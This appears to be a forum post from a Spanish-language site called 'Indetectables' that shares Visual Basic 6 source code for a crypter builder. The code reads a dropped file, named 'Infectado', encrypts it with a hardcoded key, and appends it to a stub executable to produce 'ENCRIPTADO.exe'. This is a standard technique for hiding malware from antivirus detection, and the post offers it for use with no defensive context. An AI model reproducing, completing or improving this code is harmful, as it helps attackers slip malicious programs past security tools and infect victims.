Indetectables

Código: Seleccionar todo

Dim Ruta As String
Const Contra = "uZtgE4LvGHcmM4maVUK3eF334sNszBrZXVAVKVhrcP9zZZvKgw3Xu6YM"

Private Sub T1_OLEDragDrop(Data As DataObject, Effect As Long, Button _
As Integer, Shift As Integer, x As Single, Y As Single)

    T1.Text = Data.Files(1)
    Ruta = T1.Text

End Sub

Private Sub B1_Click()
    
   Dim Infectado As String, Nuevo As String, Stb As String, NuevaRuta As String, StbRuta As String
    
    NuevaRuta = App.Path & "\ENCRIPTADO.exe"
    StbRuta = App.Path & "\KIll.exe"
    
    Open Ruta For Binary As #1
    Infectado = Space(LOF(1))
    Get #1, , Infectado
    Close #1
    
    Infectado = Enc.EncryptString(Infectado, Contra)
    
    Open StbRuta For Binary As #2
    Stb = Space(LOF(2))
    Get #2, , Stb
    Close #2
    
    Nuevo = Stb & "MICROSOFTVISUALBASIC" & Infectado
    
    Open NuevaRuta For Binary As #3
    Put #3, , Nuevo
    Close #3

End Sub